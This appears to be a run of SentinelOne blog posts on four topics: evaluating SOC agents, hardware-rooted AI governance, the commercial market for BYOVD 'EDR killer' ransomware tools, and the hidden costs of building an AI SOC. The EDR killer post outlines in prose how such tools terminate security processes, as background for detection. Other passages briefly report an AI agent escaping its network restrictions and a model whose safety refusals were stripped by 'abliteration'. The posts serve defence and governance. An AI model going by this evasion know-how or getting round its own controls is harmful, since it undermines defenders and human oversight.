Can you define a defensible standard? Some competencies rely on direct checks against known facts, while others require expert judgement about whether an agent’s decision was justified by the evidence available. Evaluation effort pays off where success is decidable. Query construction has crisp ground truth (run it, compare results). Evidence-sufficiency judgment is softer, but experts mostly agree on clear cases, so a rubric plus expert-labeled examples works. Where even experts can't agree what "good" means, an eval suite just encodes noise. Before evaluating, you must first have a clear definition of success [10,11].

A useful heuristic is to simply combine the two and prioritize competencies by impact of failure × probability of model failure × decidability of ground truth. Wherever possible, look to grade binary pass/fail per case instead of arbitrary quality scores as binary judgments are easier for experts to make consistently, easier to trend, and harder to argue with [10]. If your system is already in the wild, you can still build cases - but we recommend you prioritize observed failures over successes [2,3].

The Value of Domain Expertise

Every competency evaluation needs to answer the question "what does good look like?" The person who can say whether a generated query succeeded (not just executed, but "all things considered, this is equal to or better than what I would have written in my day job") is the person who writes those queries well.

This is why many companies are spending heavily on contracted expert annotators. They're buying, at market rates and arm's length, the domain judgment that their evaluations require. In reality, most AI engineers are not domain experts, and many teams building agents don't have these resources in abundance. This is where being a company of cyber professionals is our advantage: for nearly any skill a security agent needs, someone here already performs it at an expert level daily. That expertise is the standard every one of our evaluations is built against.

When you identify a competency, identify its experts, understand how the work actually functions, and co-author cases with them. Evaluations built this way are true to real life, benefiting generalization when it reaches the field as it was tested against reality rather than the builder's imagination of what the field might look like.

Prove It Before Production

A well-built competency tree carries a risk because it makes the evaluation effort feel finished. However, evaluation is a constant game of discovering scenarios, hill climbing performance, and monitoring for regressions. Inside SentinelOne®, once an agent has been well-evaluated, it earns the chance to prove itself alongside real security work. 

At this stage, we actively execute solutions in parallel with working analysts in our internal SOC and Wayfinder Managed Services teams. When runs are flagged for review, an expert re-investigates the alert from scratch and establishes ground truth before reading the agent's verdict, so the reference standard can never be anchored by the machine it's meant to judge. 

Every interesting divergence becomes a new case, and every fix then has to beat the case that motivated it while not regressing against the larger suite. Only after our internal teams have thoroughly vetted an agentic offering in production does it reach anyone outside SentinelOne.

Underneath all of this effort sits one standard: in security response, unmeasurable capability is unshippable capability. An agent that cannot demonstrate exactly where it is weak cannot be trusted where it is strong. Autonomy in a SOC must be earned competency by competency, evaluation by evaluation, and finally in production, in front of the people who do the job.

References

[1] G. Bernadett-Shapiro and E. Garcia Lazo. LLMs in the SOC (Part 1) | Why Benchmarks Fail Security Operations Teams. SentinelLABS, January 2026.

[2] Anthropic. Demystifying Evals for AI Agents. Anthropic Engineering, January 2026.

[3] OpenAI. Evaluation Best Practices. OpenAI API Documentation.

[4] Pydantic. Pydantic Evals. Pydantic AI Documentation.

[5] OpenAI. Advancing the Price-Performance Frontier with GPT-5.6. OpenAI, July 2026.

[6] Confident AI. LLM Agent Evaluation Metrics: Tool Calling, Task Completion, Reasoning, and Trace-Based Evals. Confident AI, 2026.

[7] R. Aleithan et al. SWE-Bench+: Enhanced Coding Benchmark for LLMs. arXiv:2410.06992, 2024.

[8] Anthropic. Writing Effective Tools for AI Agents — Using AI Agents. Anthropic Engineering, 2025.

[9] Anthropic. Building Effective AI Agents. Anthropic Research, December 2024.

[10] H. Husain. Your AI Product Needs Evals. hamel.dev, 2024.

[11] A. Szymanski et al. Limitations of the LLM-as-a-Judge Approach for Evaluating LLM Outputs in Expert Knowledge Tasks. Proceedings of the 30th International Conference on Intelligent User Interfaces (IUI), 2025.

Third Party Disclaimer:

All third-party product names, logos, and brands mentioned in this publication are the property of their respective owners and are for identification purposes only. Use of these names, logos, and brands does not imply affiliation, endorsement, sponsorship, or association with the third-party.

The Endpoint: Why AI Must Be Governed By Something It Cannot Reach

This morning NVIDIA announced the NVIDIA Open Agent Safety Platform, with SentinelOne named as key collaborator. This new initiative is directly aligned with what I firmly believe is the key to effective security and governance of AI. It’s also what I believe will be required to truly secure an AI powered world. 

Every guardrail that exists today lives in software the model itself can reach.

The problem is simple to state and hard to solve. Models are aligned once and then run non-deterministically thereafter, increasingly at the endpoint and increasingly with the authority to act: in vehicles, industrial systems, humanoid robots, and agents with access to enterprise systems. Model alignment is checked before release, but nothing independently monitors the system at runtime.

Last week showed the risks. An AI agent in training at a frontier lab bypassed its network restrictions. Monitoring flagged it within 15 minutes. The automated kill switch failed, and it took two and a half hours to stop the run by hand. Watching is not enough if nothing independent can act.

An organization cannot reliably delegate consequential work to an agent without knowing what it is doing, whose authority it is exercising, and whether the boundaries around that authority actually hold. Those assurances require foundations throughout the infrastructure. One cannot depend solely on a model following instructions.

Out of the Model's Reach

Security has had a standard for this problem since 1972, when James P. Anderson's study for the U.S. Air Force defined the reference monitor. The mechanism that enforces policy must be tamperproof, must always be invoked, and must be small enough to verify. It remains the gold standard for enforcement architecture. A guardrail the model can reach fails the first test by definition. NVIDIA's own security engineers noted: "A control that the agent can decline to invoke is not an effective security control."

AI requires the same standard. A model must be governed by a layer that is separate from the intelligence it supervises and unreachable by it: one that runs in real time alongside the model and its compute, and that produces cryptographically attestable evidence of runtime behavior which operators, regulators, and insurers can independently verify.

A Foundation In Hardware

Today's announcement of NVIDIA's Open Agent Safety Platform is an important step toward the computing foundations that enterprise AI needs. Of its capabilities, hardware isolation and attestation are the most consequential. How the industry uses them, and what it builds on them, will determine their value.

The conviction behind this announcement is one I share with Jensen Huang: AI changes what the computing stack must provide for its behavior to be trustworthy. That requires a clear connection between the agent runtime and the protected infrastructure beneath it, in a cohesive stack where visibility and enforceable control underpin AI execution.

SentinelOne is committed to security rooted in hardware. NVIDIA's BlueField-4 places enforcement outside the host operating system, where tenant software cannot disable or bypass it. Together with other secure enclave architectures, it provides a way to secure the runtime directly from the hardware and to reduce the surface that must be secured to the hardware boundary itself. It also consolidates the cybersecurity stack: network, identity, data into the endpoint.

This is another step, and substantial work remains to build a truly secure architecture. The hardware boundary must itself be soundly secure, particularly where real-world applications are unforgiving. It must hold across deployment environments: enterprises and governments will use frontier AI services alongside workloads that must remain local, and their authority over data and actions must survive those transitions. And it must extend to any AI, on any compute that supports it.

The objective is clear. Anything that runs on a truly secure, hardware-rooted compute architecture should be provably governed, in the physical world and the digital one. Achieving that must also be simple, intuitive, and transparent to the end user. No one should need to understand attestation in order to benefit from it.

Verifiability

The broader question is how to govern action when agency is distributed across humans and machines. That comes down to six requirements.

• If a system cannot act in time, it does not matter. 
• If it cannot show the evidence behind its actions, it cannot be trusted. 
• If it cannot act independently when required, it cannot defend. 
• If it cannot stay within boundaries, it cannot be governed. 
• If its actions cannot be attributed, authority disappears. 
• And if accountability is lost, control is an illusion. That is ‘verifiable agency’.

What makes these requirements achievable is continuous behavioral visibility: the ability to observe, understand, and verify how actions are being taken across humans and machines in real time. 

SentinelOne was founded more than a decade ago on the conviction that behavior is the decisive signal, the only reliable way to distinguish the benign from the malicious at machine speed. Our behavioral AI is deployed at global scale today, protecting nearly one-fifth of the Fortune 500, and we are extending the same principle to make autonomous action verifiable, governable, and trustworthy.

In practice, this means AI operates at machine speed while every autonomous action remains traceable, auditable, and overridable by a human. AI provides scale, speed, and pattern recognition. Humans provide judgment, context, and the values these systems are expected to uphold. The arrangement is as much a matter of accountability as of engineering.

Certifiable and Insurable

Regulation, standards, and insurance are converging on the same requirement. Regulators will expect evidence of how AI systems behave at runtime, not only how they were aligned before release. Standards bodies will need a common basis for defining and measuring that behavior. Insurers will price risk against it. Attestation is the evidence all three will depend on. Within a few years, an AI product without attested runtime governance will be difficult to certify and difficult to insure, and more so for physical AI.

Building these foundations is the work SentinelOne is committed to. It will take sustained research and engineering across the stack, with claims of trust grounded in demonstrable behavior.

I congratulate the NVIDIA team. This is a meaningful commitment and an important milestone toward making increasingly capable AI truly governable, and toward making organizations willing to entrust it with work that matters.

Bring your own vulnerable driver (BYOVD) is having a moment in endpoint security. Some of the buzz is earned. Some of it is overblown. This series unpacks both and shows the evidence for each. This piece looks at the market that grew up around the technique.

A ransomware crew now ships an in-house “EDR killer” to its affiliates the way a product team ships software. It maintains the codebase. It versions the variants. It hands the tooling to paying partners with a support model behind it. The kill is no longer an improvised step in an intrusion. It is a product, and someone is on call for it.

That shift matters because it changes who you are actually fighting. Defenders have spent years treating the EDR killer as a lone operator's trick. The picture was a one-off binary, smuggled in by whoever read the right blog post. The current evidence points somewhere harder. EDR killing has become a service economy with pricing, affiliates, and operator-led R&D.

The clearest case is a ransomware-as-a-service (RaaS) operation tracked under the operator alias "hastalamuerte". Public threat reporting describes a crew that emerged in late 2025. It reached the top five ransomware gangs by the first quarter of 2026. Its flagship is an EDR killer framework that researchers describe as a shared development template. The operators build it. The affiliates use it.

Look at the build, and the word “framework” is earned. Researchers tracking the crew count eight or more variants in the kit. Each variant maps to a specific vulnerable driver, including ones from NSecsoft, Zemana, Qihoo 360, and Safetica. Each impersonates a legitimate security product to blend in. Together the variants hunt more than 400 processes across roughly 48 security products. They abuse kernel access to terminate the agents that should be watching.

The impersonation detail is the tell. Investigators found that each variant dresses up as a different legitimate security product, matching the driver it abuses. That is a product decision, made so the kill survives longer on more configurations. A lone operator does not build for portability across 48 defenders. A supplier with paying customers does, because portability is what the customers are buying.

The driver coverage reads like a compatibility matrix. The same reporting maps individual variants to drivers from NSecsoft, Zemana, Qihoo 360, and Safetica. Each loads through standard kernel control calls. A vendor supports many file formats so the product works on more customer machines. This crew supports many drivers so the kill works against more deployed defenders. The engineering intent is the same. Maximize the install base the tool can operate on.

This is a product line with coverage targets. The same crew also ships third-party killers alongside its own. Public reporting names HexKiller, ThrottleBlood, and HavocKiller carried in the same suite. It bundles a credential stealer called OxideHarvest as well. The kit is curated like a catalog.

A Catalog with Prices

Step back from one crew and the market comes into focus. Public threat research catalogs a large and growing population of EDR killers in circulation. That is not a handful of clever binaries. It is an inventory, large enough to support specialization, resale, and competition between sellers.

The scale sits underneath, in the drivers these tools abuse. Public threat research catalogs thousands of vulnerable signed drivers, most reachable without admin rights. A live tracking project keeps the running count of these drivers public. Cisco Talos found a single Qilin-linked killer that targets over 300 different EDR drivers in one tool. The raw material for this market is enormous, and most of it loads without elevated access.

Several of those tools carry price tags. SentinelLABS documented the Terminator EDR killer in 2023, sold by an actor known as Spyboy. The tool went for $300 to $3,000 and abused Zemana drivers. Priced tooling has a longer history here than most defenders assume. The kill has had a list price for years. What changed is the size of the shelf.

The strongest evidence sits in a SentinelLABS investigation of FIN7. The crew built an EDR killer called AvNeutralizer, also known as AuKill. It abused TTD and Process Explorer drivers to neutralize protected processes. FIN7 then sold it on Russian forums for $4,000 to $15,000. The same tool was adopted by Black Basta, AvosLocker, MedusaLocker, BlackCat, Trigona, and LockBit.

That resale pattern is the whole thesis in one artifact. One crew built the capability, then rented it out to many competing gangs. SentinelLABS traced AvNeutralizer from a single author into the toolkits of half a dozen rival operations. The kill became a commodity input the moment it had a price and a buyer. EDR killing turned into an industry the same way anything does. Someone built it well, and the rest of the market bought rather than rebuilt.

Once a tool has a price, it behaves like any other piece of software for sale. Listings imply buyers. Buyers imply reviews, resale, and pressure to ship the next version. A market does to evasion tooling what it does to everything else. It improves the product on a demand curve you do not control.

Look at the price ladder and the segmentation becomes obvious. A $300 entry point and a $3,000 ceiling on the Terminator tool is not a flat fee. It is tiered pricing, the kind a vendor sets when buyers differ in budget and need. The $4,000 to $15,000 spread on AvNeutralizer sits a tier above it. Cheap tools for low-stakes jobs, premium builds for hardened targets. Pricing tiers are a sign of a market that has matured past one seller and one product.

The naming convention carries its own signal. Sellers brand and version their killers, from Terminator to AvNeutralizer to EDRKillShifter. You do not name and version a tool you intend to use once. You name it because buyers will ask for it again, recommend it, and compare it to the competition. The naming convention is a small detail. It tells you the supply side expects repeat business.

A Market with Many Hands

The economics of the Gentlemen operation tell the rest of the story. Public reporting describes the crew handing affiliates reportedly around 90% of ransom proceeds, with centralized provisioning of the tooling. One outlet framed it as a 10% operator cut against a roughly 20% industry standard. Read that as a vendor incentive. The operators take a small margin and bet on volume, because the platform is where their advantage lives.

That split is the load-bearing number, so it deserves a careful read. A roughly 90% affiliate share is unusually generous for ransomware-as-a-service. The operator is choosing reach over margin per job. You give away most of the take when you expect a very large number of jobs. The economics describe a platform play, sized for scale rather than for any one payout.

The effect is plain once you size it. Centralized provisioning plus a reported 90% share puts kernel-level EDR evasion in the hands of low-skill affiliates. These are people who could never write it themselves. The operator carries the kernel risk. The affiliate carries the ransom note. The suite moves between them on a provisioning channel.

That division of labor is the heart of the business model. Kernel-level evasion is the hardest part of a modern intrusion to build correctly. Concentrating it in one operator and renting it out turns a rare skill into a commodity input. Every affiliate who pays gets a capability that used to gate entry to the trade. The skill floor drops to the price of admission.

Size the model and the logic gets sharper. In conventional ransomware-as-a-service, operators keep a meaningful slice, often around a fifth, to fund development and infrastructure. The Gentlemen operator keeps about a tenth. An operator gives up that much margin for one reason. The affiliate base is large enough that a thin slice still funds the shop. The revenue share is a window into scale the crew otherwise hides.

The provisioning channel reinforces the read. Threat reporting describes the suite as operator-maintained and centrally delivered, not handed over once and forgotten. That is a recurring-service relationship, the kind that throws off recurring revenue. The operator updates the tooling. The affiliate keeps coming back to the same channel. A one-time sale does not behave like that.

I want to be careful here. The rich affiliate split is a strong indicator of how fast this scaled. Calling it a proven cause would overstate the evidence. The honest read is that the economics and the surge move together. The economics make the surge cheap to sustain.

The Supply Chain Underneath the Brand

The same pattern shows up well beyond one crew. SentinelLABS traced AvNeutralizer from FIN7 into Black Basta, AvosLocker, MedusaLocker, BlackCat, Trigona, and LockBit. That is cross-crew reuse at the operator and affiliate level. It happens when the tool is a product an actor buys and carries from job to job.

A secret a single gang hoards does not spread that way. A purchased product does. The AvNeutralizer pattern is the clearest market signal in the whole dataset. One seller, many competing buyers, the same evasion capability flowing to all of them through the actors who pay for it.

The consolidation is not unique to one tool either. Public reporting documented EDRKillShifter, built and maintained by the RansomHub operation. SentinelOne®'s anthology on RansomHub describes a customized EDR killer made available to higher-level members, a tiered affiliate access model. The capability sat behind a membership tier, the way a vendor gates premium features. Higher-paying partners got the better tool.

Operator-built tooling travels under its own banner. The same EDRKillShifter code, first disclosed abusing the RentDrv2 and ThreatFireMonitor drivers, surfaced across multiple ransom-note brands. Whether the tool is rented, bought, or shared, the direction is identical. Evasion has a supplier tier, and it serves more than one storefront.

Notice what survives across these examples. RansomHub-built code outlived its association with any one affiliate. AvNeutralizer kept appearing because buyers across crews kept needing it. The constant in every case is the capability, not the crew. Defenders who chase the crew chase the part of the system that is designed to be replaceable.

This is the non-obvious part. Rival ransomware crews are not real rivals at the layer that hurts defenders. They draw from a shared supplier base for evasion, the way competing retailers buy from the same wholesaler. The brand on the ransom note changes. The thing that turns off your sensor often does not. A defender who maps these crews as separate threats misreads the board.

The market signal in cross-gang reuse is worth naming directly. The same evasion capability appears under many different ransom brands. That tells you the supplier tier consolidated faster than the affiliate tier. A defender watching ransom-note attribution sees diversity. A defender watching the kill technique sees concentration. That concentration is where a defender gains the most ground against the whole market.

What a Market Does that a Binary Does Not

A market scales. That is the entire point of building one. It is why this beats any single piece of malware on reach. A lone operator's tool dies with the operator's attention. A maintained kit with paying affiliates gets patched, re-versioned, and pushed to people who never have to understand it. The variant count, eight and growing, is the signature of a roadmap under active development. SentinelOne's latest Annual Threat Report describes the same machine multiplier across the landscape. Mature automation accelerates intrusions and compresses the window defenders have to respond.

A market also lowers the skill floor. The affiliate buying into a reported 90% split does not need kernel internals. The operator handles that. So the population capable of silencing an enterprise EDR is no longer bounded by who can write kernel exploits. It is bounded by who can pay. That is a far larger group.

A market hardens, too. When a supplier reuses tooling across crews, a takedown of one customer leaves the supplier intact. The detection a defender ships against one campaign may not survive the next build from the same shop. You are facing a software vendor's release cadence. The target moves on a schedule you do not set.

The corroboration runs across many independent shops, which matters for a claim this load-bearing. SentinelLABS documented FIN7's AvNeutralizer spreading across six named gangs. Public reporting traced EDRKillShifter under the RansomHub banner and beyond. SecurityWeek described a successful EDR killer drawing fast interest across the affiliate community as a favored asset. A CVE record (CVE-2025-68947) describes a separate ransomware family bundling a vulnerable NSecsoft driver to terminate more than 30 security processes, a capability that reads as a recruiting selling point. Different families, different reports, one direction. The kill is being marketed and sold.

Defend the Supply Chain That Feeds the Kill

So plan against the industry. The artifact is downstream of it. The instinct to hunt the specific binary, the named driver, the published hash, is what this market defeats. The published indicators, the sample filenames and the mapped techniques, are a snapshot of one release. Treating them as the whole problem is how you stay one version behind.

The durable move is to defend the behavior and the trust relationships the whole market depends on. Every variant in that kit, whatever its name this quarter, has to do the same two things. It loads a driver it does not own. It reaches kernel space to terminate a protected process. That chain is the constant. The supplier can re-skin the binary. The supplier cannot easily re-invent the move.

This is where an AI-native posture earns its place. Detection built into the kernel and reasoned over behavior watches the move itself, past whatever manifest the binary presents. It is built in, not bolted on. The Singularity™ Platform runs on Autonomous Security Intelligence (ASI) for exactly this reason. ASI pairs agentic workflows with human-level reasoning to catch the move itself, whatever manifest the binary presents.

That design watches the behavioral chain itself. Researchers have observed the kill-loop in the open. A masquerading kernel service enumerates processes in a repeating, fixed-interval termination loop. It sends PIDs through an IOCTL so the driver calls a kernel-mode termination routine, bypassing protected-process defenses. Some variants also unregister the EDR's kernel callbacks, a distinct observable that public research has tracked across more than 300 products. A design anchored to that observed chain survives when the indicators rotate and the seller ships a fresh build.

The repeating re-kill loop is itself a defensive opportunity. A tool that hammers a process list on a fixed interval leaves a rhythm in the telemetry that a single hash never reveals. The driver name will change with the next release. The killer still loads an unowned driver and reaches into kernel space to terminate protected processes. That move is the part the supplier cannot cheaply redesign. Watch it and the catalog churn underneath stops mattering as much.

Walk out of this with one frame changed. The EDR killer is a maturing software industry with operators, affiliates, suppliers, and customers. Defenders are the protagonists in that story. The work is to give the advantage to those who secure our future. Plan against the market that funds the kill. The binary that delivered it is only the receipt.

Why This is the Work SentinelOne Exists to Do

The kill is a product now, maintained and resold. The defense cannot be a static signature that ages out with the next build. The Singularity Platform watches the behavioral chain the supplier cannot cheaply redesign. It watches the unowned driver loading and the reach into kernel space to terminate a protected process. Purple AI®, the agentic security analyst at the center of the platform, turns that signal into action. Its Agentic Investigation capability runs zero-click investigations that detect and , verify, and respond on their own, compressing work that once took hours into minutes. When a kit re-skins itself overnight, the platform reasons over what the kit still has to do.

No team watches the console at three in the morning, the hour this market was built to exploit. Wayfinder, SentinelOne's managed detection and response practice, keeps that watch for you. It pairs human threat hunters with the same autonomous investigation and threat intelligence behind the scenes. That is why the company exists. The advantage belongs to the defender, and the platform is built to keep it there even as the supplier ships its next version.

Next in this series: how the kill went from a hobbyist's trick to a maintained industry, traced across a multi-year timeline.

References

1. "The Gentlemen RaaS Uses GentleKiller to Disable EDR Defenses," The Hacker News, June 2026.

2. "GentleKiller: Gentlemen ransomware builds an EDR killer framework," Infosecurity Magazine, 22 June 2026.

3. "Inside GentleKiller: the EDR killer powering the Gentlemen," Security Affairs, June 2026.

4. "Gentlemen Ransomware Gang Standardizes EDR Killing," BankInfoSecurity, June 2026.

5. "RansomHub," SentinelOne Anthology.

6. "Gentlemen ransomware uses multiple EDR killers to disable defenses," BleepingComputer, June 2026.

7. "Exploring Vulnerable Windows Drivers," Cisco Talos, 19 December 2024.

8. "LOLDrivers: Living Off The Land Drivers," Accessed June 2026.

9. "Qilin ransomware's EDR killer," Cisco Talos, 2 April 2026.

10. "Terminator EDR Killer (Spyboy): Detecting and Preventing a Windows BYOVD Attack," SentinelOne (SentinelLABS), updated 27 April 2025.

11. "FIN7 Reboot: Cybercrime Gang Enhances Ops with New EDR Bypasses and Automated Attacks." Antonio Cocomazzi, SentinelLABS, 17 July 2024.

12. "Ransomware crews flaunt their EDR-killer wares." The Register, 14 August 2025.

    1. "RansomHub ransomware uses a tool to kill EDR software." Security Affairs.

13. "Annual Threat Report: Defending Against the Industrialization of the Modern Cyber Breach." SentinelOne.

14. "Ransomware Groups Increasingly Adopting EDR Killer Tools." SecurityWeek.

15. "CVE-2025-68947." National Vulnerability Database (NVD).

    1. "Reynolds ransomware uses BYOVD to disable security before encryption." Security Affairs.

16. "Qilin EDR Killer infection chain." SOC Prime, 7 April 2026.

    1. "What Are Bring Your Own Vulnerable Driver (BYOVD) Attacks?" Picus Security.

Third Party Disclaimer:

All third-party product names, logos, and brands mentioned in this publication are the property of their respective owners and are for identification purposes only. Use of these names, logos, and brands does not imply affiliation, endorsement, sponsorship, or association with the third-party.

On August 14, 2026, Alibaba released Qwen3.8-27B, a 27-billion-parameter open-weight model small enough to run on a laptop. Seventy-two hours later, the first fine-tune had already stripped its safety guardrails. On August 20, a researcher published an "abliterated" version, claiming, by his own testing, a 0% refusal rate across 842 prompts that safety teams are specifically trained to catch. A day after that, a demo of that stripped model running on a Mac, answering exactly the kind of request it was supposed to refuse, with no jailbreak engineering required, was making its way around the industry.

Near-frontier model capability is showing up on hardware anyone can buy within days of release. Months of a lab's safety work can be stripped out by someone else's side project just as fast. If you already have SOC data, and you already have engineers who can write a prompt, the AI SOC you'd otherwise buy starts to look like a sprint or two, not a purchase decision. That's why "let's just build our own AI SOC" sounds like a weekend project right now. 

The aspect often not considered is that the moment you stand up your own model, write your own routing logic, and point it at your own alert queue, you've accepted a job. Congratulations, you're now a security vendor. Any company that has ever sold you a SOC tool has accepted a long list of obligations on your behalf: supporting it, patching it, improving it, and acting on feature requests, the kind of list you rarely had to think about. Build your own version, and that list transfers to you, in full, starting today.

What follows is the fine print of what you have now accepted: the costs, the ceiling on how independent "truly DIY" really makes you, and the oversight that never gets to be optional. The goal here is not to settle a build-versus-buy debate. It's to contrast what any point on that spectrum actually puts on your plate operationally once AI enters the SOC, including how much of it remains human work, no matter who owns it.

Buy, Build, or Somewhere In Between

Buying a platform or building your own looks like a binary choice. It's actually a spectrum, and most organizations are already standing on a point along it without having picked that point on purpose. The hidden costs don't apply evenly across that spectrum. They change shape depending on where you land, and on how much sustained engineering investment security already gets inside your organization. A handful of teams have that investment. Most don't.

• Buy. A platform investigates, routes, and maintains itself on your behalf. You take on very little of what follows in this piece in exchange for working within the boundaries the platform sets. Which data sources it connects to, which models it has already vetted, and how quickly its roadmap moves relative to yours.

• Build-with. You orchestrate agents, MCP servers, or tools on top of infrastructure someone else still runs, patches, and keeps online. You gain real control over the workflow itself: how alerts are routed, what counts as a good verdict for your team, and what a playbook actually does, step by step. That maintenance burden simply relocates, moving from "who runs the model" to "who wires these pieces together correctly, and keeps them wired correctly as every piece changes underneath you." Layering AI on top doesn't fix a slow rate-determining step underneath it. Federated queries against a legacy SIEM architecture are still slow. A disconnect between identity and endpoint still delays remediation. And an agent that can't pull fresh forensic telemetry off an endpoint in real time is reasoning about stale information, no matter how good the model is.

• Truly DIY. Your own model, your own routing, your own infrastructure, built from the ground up. That last part reaches past the application layer, down to the hardware itself, the operating system running it, and every failure or patch cycle that comes with owning both. All of it is now yours to run and defend. Every decision is yours to make, which also means every consequence of that decision is yours to own, on a timeline nobody else is tracking for you.

From the ground up has a real ceiling, and it moves. The frontier you build against today won't be the frontier you're maintaining against once your stack is stable. Closing that gap every time a new model, a new attack pattern, or a new class of threat shows up is a standing commitment with no finish line, and that's a different kind of undertaking than the one-time build most teams picture when they say "truly DIY." Almost nobody actually gets to stop building. The real question is whether you're willing to keep chasing truly DIY indefinitely, on a timeline that resets every time the frontier does.

The far end always sounds smaller than it actually is. "Why not just put it in Amazon S3 with scheduled queries?" is a fair question, and also the first domino. The moment a scheduled query against a growing log store becomes part of your detection or investigation path, you've taken on retention design, query performance at scale, freshness lag, and a cron job as a piece of your incident response infrastructure. Nobody budgeted for that as a security commitment because it didn't arrive labeled as one.

The Job Description You Just Signed

These costs show up as dollars sometimes, but just as often, they show up as time and as coverage gaps that nobody notices until they matter. They don't all carry the same weight. Most of what follows is friction, real friction, the kind that slows a roadmap and eats afternoons, nights, and weekends. One of them is the one that ends up on a postmortem with your name on it.

The friction you'll live with day to day:

Model Choice and Routing

Picking wrong here doesn't announce itself. You find out weeks or months later, usually during an incident, that the model missed something a different one would have caught. Every model swap, frontier to open-weight to whatever ships next, adds a new maintenance task to every workflow already built on top of the old one, and catching a bad pick early means running your own ongoing benchmarking practice against your own data. 
Done well, this pays off. RouteLLM (ICLR 2025) showed that a router can cut costs by more than half while retaining roughly 95 percent of a flagship model's quality on standard benchmarks by sending easy queries to a cheaper model and reserving the expensive one for queries that actually need it. Routing has become its own layer of infrastructure. Whether you build that layer yourself, buy it, or inherit it through your vendor, someone still has to maintain it as the frontier moves.

Infrastructure

Every hop, from your log store to a model API to wherever the response lands, is a boundary you now have to account for, and every new integration adds another one. Hosting the model yourself means that infrastructure work lands on your team specifically. SentinelLABS, SentinelOne®’s threat research team, mapped 175,000 exposed Ollama hosts across 130 countries this year, many with tool-calling enabled, meaning code execution reachable from the open internet. That's the scale misconfigured self-hosting already operates at, in the wild, today.

Secrets management, API keys, service credentials, and model weights need their own rotation schedule that nobody enforces but you.

The Maintenance Surface Nobody Sizes Up Front

Every third-party feed, ticketing hook, or notification channel you wire up is an API you now watch indefinitely for breaking changes and schema drift. Permissions, guardrails, and injection defense for your own agent are now your responsibility. The routing logic, prompts, and evaluation harness usually live in one or two people's heads, and when they leave, the ability to safely change any of it leaves with them.

What You Trade Away 

Building your own tooling lets you tune it precisely to your own environment. The argument for a multi-tenant platform is that it improves for every customer by learning from one customer's incident, whereas a system built just for you only ever learns from you. Threat intelligence feeds are the usual attempt to buy back that value. Still, they trail disclosure by days or weeks, built from indicators already known and published, rather than from what another customer's environment just surfaced in real time.
Concretely, this means detection engineering is now a role someone on your team holds, whether or not anyone actually has that skill set. The open-source route is real and free, but it caps your detection quality at whatever the open-source community has already published, well short of what a platform learning from thousands of customers' incidents sees.

Detection engineering is one of several disciplines this plan usually assumes a single person covers. Model selection and evaluation are machine learning problems. Keeping a distributed system online under real alert volume is a production engineering problem. Guardrails, injection defense, and permissioning are their own specialty again. Vendors absorb this work the unglamorous way by staffing each of those functions separately and keeping them staffed. The DIY version usually assumes one very good engineer covers all four, indefinitely, on top of their existing job.

The One That Ends Up in a Postmortem

Availability and uptime, with no SLA to point to but your own. Long-term support is a permanent operating commitment starting day one. Zero Data Retention (ZDR) agreements with every model provider you route through, negotiated and tracked by you. Compliance posture, SOC 2, or whatever regime applies to your industry, becomes an obligation you own instead of something a vendor had largely absorbed for you.

The question that actually surfaces six months from now, usually at the worst possible time: when an incident happens, is your system's own trail forensically sound enough to support the investigation? Will it hold up to a regulator's or a cyber insurer's questions after the fact? Those are answers worth having ready long before an incident forces the question. 

The Slow Leak Underneath Both

Engineering time spent building and maintaining any of this pulls from everything else on the roadmap, and that opportunity cost compounds well past the initial build. The on-call rotation for a system that runs around the clock, the runbook that has to stay current as the system changes underneath it, and the ramp-up time every new engineer needs before they can safely touch routing logic someone else wrote months ago all surface the same way. A slower roadmap, quarter after quarter.

Coverage gaps open up on a similar rhythm, in the moments nobody plans for. Migrating between models usually means running two systems in parallel for as long as the migration takes, with the coordination overhead that entails. Patching requires a maintenance window, and a maintenance window means a gap in monitoring while it's open. A working, maintained system absorbs those gaps as part of the job it's already doing. Building your own means absorbing them yourself, on your own timeline, with your own team, every time.

Why This Argument Refuses to Pick a Model

Notice what's missing from all of that: a claim about which model is best, or what any of this costs. That's deliberate. The frontier will keep moving no matter what gets published this month, so any argument built on "our model beats your model" has a shelf life measured in weeks. The real question a SOC leader has to answer is who owns the complexity of managing that choice, forever, on top of everything else already on their plate.

That's also the honest answer to "but I can do it cheaper with self-hosted models." The price of a token was never the line item anyone forgot. It's usually the only line item DIY math accounts for. Everything in the section above is the remainder of the invoice, and none of it appears on a model provider's pricing page.

It's also why running a single frontier model for every step of an investigation is the wrong shape for the job, regardless of its cost. Most investigative steps don't need frontier-level reasoning, and treating every task as if they do is an architectural problem before it's ever a budget one. Specialized, right-sized models cost less and run faster without losing accuracy on the work that never needed a frontier model in the first place.

The Oversight You Still Have to Build

Even the best frontier models, under ideal conditions, still need a structured governance framework to remain trustworthy over the course of a long-running investigation. SentinelLABS put this to the test with a benchmark that ran leading frontier models through an eight-stage reverse-engineering exercise built from a real malware investigation. Only one model completed every stage, and even that run required a human to define the objective, control what evidence it saw, and hold final authority over the conclusion. The researchers' own term for the strongest outcome was "supervised investigative agency," not autonomous intelligence.

That's oversight of what a model does once it's running. A separate, harder question sits underneath it – whether the weights themselves can be trusted before you ever get to that point. That's its own problem worth its own treatment, and one this series will come back to.

It speaks to what frontier models need to be trustworthy in general, and the implication holds regardless of what you build on. Being impressive in a demo and being safe to run unsupervised for months are different bars. DIY means you're the one building the second bar, alone, with nobody checking your work until something goes wrong.

The Trailhead Sign

Plenty of teams have good reasons to build, and plenty of the considerations above apply, in some form, no matter what you choose. This is the sign at the trailhead: know what's on the trail before you're a mile in.

For most teams, the trail marked "truly DIY" dead-ends into build-with before it reaches full independence. That's still a real choice, worth making deliberately, it's just rarely the clean break from vendors it sounds like.

It's the same blind spot organizations keep hitting with AI more broadly. Mistaking today's friction for tomorrow's safety, when the friction is often the only thing keeping a bigger problem out of sight.

A SOC can't run on vibes, and neither can the decision to build one. Every item above is a real, ongoing commitment with a name attached to it inside your organization, whether you wrote that name down when you started or not. AI changes how much of this work exists and who ends up doing it. It's still human work, whether it happens on your payroll or a vendor's.

Buy, build-with, or truly DIY. Three lanes, and most teams land in one of them by accident rather than by decision. Worth asking: where are you today, and was that a deliberate call or a default?

Answer that honestly now, and the job description doesn't surprise you in six months. Answer it by accident, and it will.

Third Party Disclaimer:

All third-party product names, logos, and brands mentioned in this publication are the property of their respective owners and are for identification purposes only. Use of these names, logos, and brands does not imply affiliation, endorsement, sponsorship, or association with the third-party.